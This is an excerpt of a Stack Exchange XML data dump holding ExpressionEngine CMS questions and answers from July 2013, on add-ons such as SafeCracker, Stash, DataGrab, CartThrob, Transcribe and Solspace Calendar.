  <row Id="12004" PostTypeId="2" ParentId="12002" CreationDate="2013-07-17T15:21:02.870" Score="1" Body="&lt;p&gt;Yes it is possible, there are a few different ways that you can do it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first would be to create a new channel for the users Personal Stories, with a few custom fields. Name, Story, Location or any other fields you would need. Then you can use the first party module &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/&quot; rel=&quot;nofollow&quot;&gt;SafeCracker&lt;/a&gt; to allow the user to post to the newly created channel. You can pass the status parameter as a hidden field to either closed or whatever status you want. To enable a guest to publish to the channel you can use the &lt;code&gt;logged_out_member_id&lt;/code&gt; parameter (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/#allowing-guests-to-post-entries&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;) along with a created guest member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option would to be use something like Freeform to allow the collection of submissions then use the &lt;code&gt;{exp:freeform:entries}&lt;/code&gt; tag pair to show the Freeform entries on the front-end of the site.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-07-17T15:21:02.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12005" PostTypeId="2" ParentId="12001" CreationDate="2013-07-17T15:22:27.267" Score="0" Body="&lt;p&gt;Sounds like your CSS/JS is not being loaded from a secure URL. Check your developer console to see where they are being loaded from.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-07-17T15:22:27.267" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12006" PostTypeId="2" ParentId="12002" CreationDate="2013-07-17T15:24:44.913" Score="1" Body="&lt;p&gt;Is this what you are looking for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Allow guests to post: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/#allowing-guests-to-post-entries&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/safecracker/#allowing-guests-to-post-entries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can set a suitable status&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#status&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#status&lt;/a&gt;&#xA; and specify a default status&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2013-07-17T15:24:44.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12007" PostTypeId="1" AcceptedAnswerId="12019" CreationDate="2013-07-17T15:25:19.717" Score="0" ViewCount="54" Body="&lt;p&gt;Having issues with the following code, if entries are todays date, but past 07:00 PM they do not display. Even with &lt;strong&gt;*show_future_entries=&quot;yes&quot;*&lt;/strong&gt; unless the entries are dated 06:59 PM or earlier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:channel:entries channel=&quot;lunch_order&quot; status=&quot;open&quot; day=&quot;{current_time format='%d'}&quot; month=&quot;{current_time format='%m'}&quot; year=&quot;{current_time format='%Y'}&quot; show_future_entries=&quot;yes&quot;}{lunch_order_account_number} {lunch_order_share_id}   {lunch_formatted_order_total}&lt;br /&gt;&#xA;{/exp:channel:entries}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also add the Localization is set to UTC-6 CST, and Allow members to set their own localization preferences is set to &quot;No&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated. Thank You!&lt;/p&gt;&#xA;" OwnerUserId="729" LastActivityDate="2013-07-17T17:47:28.877" Title="Channel Entries w/ Month, Day, Year Having Issue w/ Localization" Tags="|channel-entries|entry-date|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12008" PostTypeId="1" CreationDate="2013-07-17T15:26:07.757" Score="0" ViewCount="40" Body="&lt;p&gt;We are running a membership site using EE v2.5.3 and would like to output a member's latest tweets on their profile page. Could you suggest the best add-on/ solution to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1787" LastActivityDate="2013-07-17T15:53:46.770" Title="Twitter integration for member profiles" Tags="|add-on|members|twitter|" AnswerCount="1" CommentCount="1" ClosedDate="2013-07-23T13:52:55.930" ContentLicense="CC BY-SA 3.0" />
  <row Id="12009" PostTypeId="2" ParentId="11995" CreationDate="2013-07-17T15:27:48.273" Score="0" Body="&lt;p&gt;You will need to use at least EE2.6 to use Field Pack v2. The ability to have multiple fieldtypes in a single package was not added until 2.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the change log:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-6-0&quot; rel=&quot;nofollow&quot;&gt;Reactor: Added ability to have multiple fieldtypes in one add-on package.&lt;/a&gt;&lt;/strong&gt; under the Developers heading is what allows for the new Field Pack to work.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-07-17T15:27:48.273" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12010" PostTypeId="2" ParentId="12003" CreationDate="2013-07-17T15:52:07.877" Score="1" Body="&lt;p&gt;I would setup the field as a text input field and set the field content to &lt;code&gt;number&lt;/code&gt; –this way sorting on the front end can work properly (ie. sort highest to lowest, etc.). Remove all currency characters &amp;amp; thousands separators on the numbers before importing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Re: formatting, you can use &lt;a href=&quot;http://devot-ee.com/search/results?keywords=number%20format&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;several different number format addons&lt;/a&gt; to achieve the thousands separator.&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-07-17T17:36:16.320" LastActivityDate="2013-07-17T17:36:16.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12011" PostTypeId="2" ParentId="12008" CreationDate="2013-07-17T15:53:46.770" Score="1" Body="&lt;p&gt;Have a look at &lt;a href=&quot;http://devot-ee.com/add-ons/ee_twitter&quot; rel=&quot;nofollow&quot;&gt;EE_Twitter&lt;/a&gt;.  It works with the 1.1 API and, once set up, you should be able to do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Latest tweets&amp;lt;/h3&amp;gt;&#xA;{exp:twitter:user screen_name=&quot;biz&quot; limit=&quot;5&quot;}&#xA;    {text}&#xA;{/exp:twitter:user}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More documentation at &lt;a href=&quot;https://github.com/click-rain/EE_Twitter&quot; rel=&quot;nofollow&quot;&gt;https://github.com/click-rain/EE_Twitter&lt;/a&gt;.  This is a free (and very nicely done) module.&lt;/p&gt;&#xA;" OwnerUserId="900" LastActivityDate="2013-07-17T15:53:46.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12013" PostTypeId="1" AcceptedAnswerId="12037" CreationDate="2013-07-17T16:11:51.960" Score="0" ViewCount="130" Body="&lt;p&gt;When you add a calendar event using Solspace calendar you have the option of inputting the times or selecting the check box 'all day event'. Currently the all day event times show as 12am-12pm. Is there any way of changing this? For example I would like the all day event check box time to be 8am-6pm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Julie&lt;/p&gt;&#xA;" OwnerUserId="1566" LastActivityDate="2013-07-18T00:00:39.493" Title="Solspace calendar all day event time" Tags="|solspace|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12014" PostTypeId="1" CreationDate="2013-07-17T16:27:37.987" Score="1" ViewCount="326" Body="&lt;p&gt;I'm trying to import data from a CSV into Matrix (2.5.6) using DataGrab (1.7.7) and I'm getting the following errors repeated for each row of data within the CSV&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: field_settings&#xA;Filename: fieldtypes/datagrab_matrix.php&#xA;Line Number: 114&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: fieldtypes/datagrab_matrix.php&#xA;Line Number: 136&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: field_settings&#xA;Filename: fieldtypes/datagrab_matrix.php&#xA;Line Number: 372&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: fieldtypes/datagrab_matrix.php&#xA;Line Number: 397&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the end of the import I should have a single entry with 30 rows in the matrix component, sadly the matrix field is completely empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recognise that the Matrix field import is listed as beta within the tool itself but in this instance it isn't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any thoughts / help / works for me on this.&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2013-10-16T15:58:28.470" Title="DataGrab and Matrix importing issue (no data imported into Matrix Field)" Tags="|matrix|datagrab|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12015" PostTypeId="1" CreationDate="2013-07-17T16:36:36.447" Score="2" ViewCount="162" Body="&lt;p&gt;I've been puzzling over why a Cartthrob order notification isn't being sent when an order's status is manually updated from &quot;processing&quot; to &quot;completed&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The order was being updated via the CartThrob Order Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have just discovered that if I update the order entry through EE's native entry manager then the notification is triggered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone run into this? I'm assuming the necessary hooks aren't being called when this is done via the Order Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like others are having the same issue &lt;a href=&quot;http://cartthrob.com/forums/viewthread/9771/&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/forums/viewthread/9771/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-07-17T18:16:39.737" LastActivityDate="2013-07-17T18:16:39.737" Title="Cartthrob order status update notification not triggered if order status updated via Order manager" Tags="|cartthrob|notification|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12016" PostTypeId="1" AcceptedAnswerId="12028" CreationDate="2013-07-17T16:53:24.153" Score="0" ViewCount="133" Body="&lt;p&gt;I have a current project that uses Expresso Store and I need to make the site multilingual (including the products available in the store). I am debating on using Transcribe to handle the heavy lifting of making the site multi-lingual and the products on sale, but I'm thinking there may be a problem. If Transcribe basically creates a duplicate related entry for the translation will this also duplicate the products in Store? (i.e.; Inventory items)&lt;/p&gt;&#xA;" OwnerUserId="286" LastActivityDate="2014-02-03T03:51:26.870" Title="Transcribe + Expresso Store" Tags="|expresso-store|transcribe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12017" PostTypeId="1" AcceptedAnswerId="13317" CreationDate="2013-07-17T17:17:03.173" Score="3" ViewCount="560" Body="&lt;p&gt;Anyone know if there is a way to get the default (original) template-group/template segments from a Transcribe translated URL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt; If the default language URL for a template-group is &quot;example.com/en/news/&quot; and the translated one for spanish is &quot;examples/es/noticias/&quot;, is there some way of getting the original &lt;code&gt;{segment_2}&lt;/code&gt; var (&quot;news&quot;) if we are viewing the spanish version (where &lt;code&gt;{segment_2}&lt;/code&gt; is &quot;noticias&quot;)?&lt;/p&gt;&#xA;" OwnerUserId="286" LastActivityDate="2013-09-28T20:50:21.893" Title="Transcribe translated URL segments" Tags="|multi-language|transcribe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12018" PostTypeId="2" ParentId="11986" CreationDate="2013-07-17T17:25:32.473" Score="0" Body="&lt;p&gt;We've got a fix for this locally that will be in the next release of Wygwam.  In the meantime, hit up support@pixelandtonic.com and we can send you the patched files.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2013-07-17T17:25:32.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12019" PostTypeId="2" ParentId="12007" CreationDate="2013-07-17T17:47:28.877" Score="0" Body="&lt;p&gt;I ended up switching parameters to start_on, stop_before which took care of my issue, not sure why it wouldn't work the other way though.&lt;/p&gt;&#xA;" OwnerUserId="729" LastActivityDate="2013-07-17T17:47:28.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12020" PostTypeId="1" CreationDate="2013-07-17T18:38:55.270" Score="2" ViewCount="82" Body="&lt;p&gt;Our client would like to have search result total(s) next to the filter options. Those numbers would update based on the filters chosen prior:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't upload an image, so here is a link to an example: &lt;a href=&quot;http://ryanwake.com/super_search/filter_example.jpg&quot; rel=&quot;nofollow&quot;&gt;http://ryanwake.com/super_search/filter_example.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the image - if a user chose Chemical Biology, then the total results for the other filter options would update based on the option chosen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done this, is it even possible with Super Search and Tags?  Any help would be appreciated. &lt;/p&gt;&#xA;" OwnerUserId="1788" LastEditorUserId="1788" LastEditDate="2013-07-17T18:44:09.293" LastActivityDate="2013-09-30T15:50:26.720" Title="Search Result Count" Tags="|search|solspace|supersearch|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12021" PostTypeId="1" AcceptedAnswerId="12023" CreationDate="2013-07-17T19:13:52.477" Score="1" ViewCount="1004" Body="&lt;p&gt;I can't log into my control panel and I think the issue is related to &quot;secure forms&quot; being enabled. How do I disable &quot;secure forms&quot; in the EE config file?&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-04-11T16:51:34.087" Title="Disable Secure Forms in config.php" Tags="|config|secureforms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12022" PostTypeId="1" CreationDate="2013-07-17T19:15:21.560" Score="1" ViewCount="62" Body="&lt;p&gt;Can't find anything online about it... is it possible? Someone must have done this before? Please give me some guidance.&lt;/p&gt;&#xA;" OwnerUserId="1790" LastActivityDate="2013-08-17T17:09:57.803" Title="Has anyone coded a Playa Multi Select Drop Panes UI in a Safecracker Form?" Tags="|safecracker|playa|filter|multiselect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12023" PostTypeId="2" ParentId="12021" CreationDate="2013-07-17T19:18:14.183" Score="3" Body="&lt;p&gt;Add the following into the EE config.php file to disable &quot;secure forms&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['secure_forms'] = &quot;n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-07-17T19:18:14.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12024" PostTypeId="2" ParentId="6580" CreationDate="2013-07-17T19:39:19.037" Score="1" Body="&lt;p&gt;I needed to recreate the entry from scrap and that fixed the issue.&lt;/p&gt;&#xA;" OwnerUserId="1042" LastActivityDate="2013-07-17T19:39:19.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12026" PostTypeId="2" ParentId="11642" CreationDate="2013-07-17T19:49:17.237" Score="0" Body="&lt;p&gt;Are you looking for something like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;location-a&quot;}&#xA;&#xA;  {exp:channel:entries channel=&quot;location&quot; dynamic=&quot;no&quot; category=&quot;cat-y&quot;}&#xA;  ...&#xA;  {/exp:channel:entries}&#xA;&#xA;{if:elseif segment_2 == &quot;location-b&quot;}&#xA;  {exp:channel:entries channel=&quot;location&quot; dynamic=&quot;no&quot; category=&quot;cat-z&quot;}&#xA;  ... &#xA;  {/exp:channel:entries}&#xA;&#xA;{if:elseif segment_2 == &quot;location-c&quot;}&#xA;  {exp:channel:entries channel=&quot;location&quot; dynamic=&quot;no&quot; category=&quot;cat-y|cat-z&quot;}&#xA;  ... &#xA;  {/exp:channel:entries}&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user21" LastActivityDate="2013-07-17T19:49:17.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12027" PostTypeId="1" AcceptedAnswerId="12029" CreationDate="2013-07-17T20:14:46.323" Score="0" ViewCount="109" Body="&lt;p&gt;Hoping someone can help me with this problem. I have a list of channel entries that I am storing in a stash tag then outputting the complete list, but if there are no entries then it displays something else. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am hoping to do is if the total count of entries == 0 then display one thing, if the count == 1 then display something else and finally if the count is &gt; 1 then display a third option to the viewer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code that I currently have.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;dynamic_adventure&quot; trim=&quot;yes&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:channel:entries channel=&quot;adventure_settings&quot; dynamic=&quot;no&quot; author_id=&quot;CURRENT_USER&quot;}    &#xA;&#xA;          {exp:switchee variable=&quot;{embed:adventure_name}&quot; parse=&quot;inward&quot;}&#xA;&#xA;              {case value=&quot;{dynamic_adventure_template:title}&quot;}&#xA;&#xA;                    &amp;lt;a href=&quot;{path=&quot;admin/{dynamic_adventure_template:url_title}&quot;}/{url_title}&quot; class=&quot;button small red&quot;&amp;gt;View Adventure&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;              {/case}&#xA;              {case value=&quot;&quot;}&#xA;&#xA;              {/case}&#xA;          {/exp:switchee}&#xA;&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;{if {exp:stash:not_empty name=&quot;dynamic_adventure&quot;} }&#xA;        &amp;lt;h2 class=&quot;th-adventure-title&quot;&amp;gt;{embed:adventure_name}&amp;lt;/h2&amp;gt;&#xA;        {exp:stash:get name=&quot;dynamic_adventure&quot;}&#xA;{if:else}&#xA;    &amp;lt;h2 class=&quot;th-adventure-title&quot;&amp;gt;{embed:adventure_name}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;a href=&quot;{path=&quot;admin/new-adventure&quot;}&quot; class=&quot;button small red&quot;&amp;gt;Start New Adventure&amp;lt;/a&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1407" LastActivityDate="2013-07-17T23:41:59.000" Title="Help with Stash Conditionals" Tags="|stash|count|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12028" PostTypeId="2" ParentId="12016" CreationDate="2013-07-17T20:46:05.393" Score="1" Body="&lt;p&gt;Short answer is that Store and Transcribe do not play nice together. Things like modifier names, email templates, error messages would only be shown in the default language. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only officially supported way of having a multilingual setup with Store would be to use MSM and have each site as a language. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-07-17T20:46:05.393" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12029" PostTypeId="2" ParentId="12027" CreationDate="2013-07-17T20:54:21.823" Score="1" Body="&lt;p&gt;You can store the total_results of &lt;code&gt;channel:entries&lt;/code&gt; on a stash variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;dynamic_adventure&quot; trim=&quot;yes&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:channel:entries channel=&quot;adventure_settings&quot; dynamic=&quot;no&quot; author_id=&quot;CURRENT_USER&quot;}    &#xA;&#xA;          {exp:switchee variable=&quot;{embed:adventure_name}&quot; parse=&quot;inward&quot;}&#xA;&#xA;              {case value=&quot;{dynamic_adventure_template:title}&quot;}&#xA;&#xA;                    &amp;lt;a href=&quot;{path=&quot;admin/{dynamic_adventure_template:url_title}&quot;}/{url_title}&quot; class=&quot;button small red&quot;&amp;gt;View Adventure&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;                    {if count == 1}&#xA;                        {exp:stash:set name=&quot;dynamic_adventure_total&quot;}{total_results}{/exp:stash:set}&#xA;                    {/if}&#xA;              {/case}&#xA;              {case value=&quot;&quot;}&#xA;&#xA;              {/case}&#xA;          {/exp:switchee}&#xA;&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, you can use the variable for conditionals.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:stash:get name='dynamic_adventure_total'}&quot; == &quot;1&quot;}&#xA;    [...]&#xA;{if:elseif {exp:stash:not_empty name=&quot;dynamic_adventure&quot;} }&#xA;        &amp;lt;h2 class=&quot;th-adventure-title&quot;&amp;gt;{embed:adventure_name}&amp;lt;/h2&amp;gt;&#xA;        {exp:stash:get name=&quot;dynamic_adventure&quot;}&#xA;{if:else}&#xA;    &amp;lt;h2 class=&quot;th-adventure-title&quot;&amp;gt;{embed:adventure_name}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;a href=&quot;{path=&quot;admin/new-adventure&quot;}&quot; class=&quot;button small red&quot;&amp;gt;Start New Adventure&amp;lt;/a&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-07-17T23:41:59.000" LastActivityDate="2013-07-17T23:41:59.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12030" PostTypeId="1" CreationDate="2013-07-17T21:41:32.803" Score="0" ViewCount="153" Body="&lt;p&gt;Good evening,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im looking at creating a form for a website that allows for bulk updating of a price field within an expression engine channel, lets say for instance, increase all prices for all entries by 5%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking into it the HTML form is no issue, and I can pass the figure to a process to make the changes and I think the the thing i need is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ee()-&gt;api_channel_entries-&gt;update_entry((int) $entry_id, (array) $data);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but im very new to EE and would appreciate any pointers on putting a script together that gathers all the info from each entry then applies the update&lt;/p&gt;&#xA;" OwnerUserId="1414" LastActivityDate="2013-10-16T02:58:24.623" Title="bulk update channel entries" Tags="|batch-update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12031" PostTypeId="2" ParentId="9931" CreationDate="2013-07-17T21:56:15.413" Score="1" Body="&lt;p&gt;I'd been having issues with PT Checkbox in a Safecracker form as well. For me, this worked: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{options:field_name}&#xA;  {label:field_name}&#xA;    &amp;lt;input type=&quot;checkbox&quot; id=&quot;field_name[]&quot; name=&quot;field_name[]&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;{option_value}&#xA;&#xA;{/options:field_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where field_name represents the actual field name. This is EE 2.6.1, Safecracker 2.1 and Field Pack 2.0.2. As noted above, you have to include &lt;code&gt;preserve_checkboxes=&quot;yes&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1007" LastActivityDate="2013-07-17T21:56:15.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12032" PostTypeId="1" CreationDate="2013-07-17T22:40:06.970" Score="1" ViewCount="37" Body="&lt;p&gt;I had a template and set the template cache to yes. Then a little while later I renamed it &quot;.template-name&quot; to hide it and renamed another template that I wanted to take it's place &quot;template-name&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the URL displays the old template. The template is in the database not saved as a file.  I switched cache to no. I've deleted all the caches in EE and then deleted the subfolders from &quot;cache&quot; to no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried everything to get have the template update without any luck. I'm usingEE 2.6.1 and using Freeform 4.012&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help on this.&lt;/p&gt;&#xA;" OwnerUserId="1654" LastActivityDate="2013-07-18T04:50:02.700" Title="URL Shows Outdated Version of Template" Tags="|templates|solspace-freeform|cache|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12033" PostTypeId="1" CreationDate="2013-07-17T22:49:38.453" Score="1" ViewCount="59" Body="&lt;p&gt;On our home page we have a list of the latest forum entries - see &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/forum/recent_forum_topics.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/forum/recent_forum_topics.html&lt;/a&gt;. The only thing that is missing is the last_author avatar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've been trying to get around it with using the last_author ID and replace the image. Example: &lt;code&gt;&amp;lt;img src=&quot;/images/avatars/uploads/avatar_{exp:low_replace find=&quot;site_url/SITE_INDEX/&quot; replace=&quot;&quot;}{last_author_profile_path}{/exp:low_replace}.jpg&quot;&amp;gt;&lt;/code&gt; , but if course I get in to trouble if the member have something else then .jpg image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have anyone found a solution and will I have to do a hack to the module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;John&lt;/p&gt;&#xA;" OwnerUserId="1132" LastActivityDate="2013-08-17T08:09:36.353" Title="Displaying Recent Forum Topics last_author avatar" Tags="|ee2|forum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12034" PostTypeId="2" ParentId="12032" CreationDate="2013-07-17T23:23:00.207" Score="1" Body="&lt;p&gt;Have you tried synchronizing the templates? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is shown in the template editor within the CP?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-07-17T23:23:00.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12035" PostTypeId="2" ParentId="12030" CreationDate="2013-07-17T23:44:05.740" Score="1" Body="&lt;p&gt;If you're using the channel entries API then the $data you need to send back is the entire entry. For example if you just pass the price through, all the other field data will be nulled. It's probably best you don't go down that route if you're not familiar with the API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best route imo would be to build a module that will update your price field in exp_channel_data to be x% of whatever you submit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all you are doing is displaying prices (not searching/filtering/ordering on) - the other option is simply modifying the prices at the template side using a math plugin: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/search/tags/tag/math&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/search/tags/tag/math&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2013-07-17T23:44:05.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12037" PostTypeId="2" ParentId="12013" CreationDate="2013-07-18T00:00:39.493" Score="1" Body="&lt;p&gt;The option &lt;strong&gt;all day event&lt;/strong&gt; is intended for a event to not have a specific starting or ending time. To prove that, you can take a look at the database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM exp_calendar_events WHERE all_day = &quot;y&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the user set an event as &quot;all day&quot;, the saved start_time and end_time in database is 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, no, you can't change this, but you can show different time on you template. If you are, for example, using &lt;a href=&quot;http://www.solspace.com/docs/calendar/events/&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;calendar:events&lt;/code&gt; variable pair&lt;/a&gt;, you can do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if event_all_day}8am-6pm{if:else}{event_start_date format=&quot;%h%a&quot;}-{event_end_date format=&quot;%h%a&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-07-18T00:00:39.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
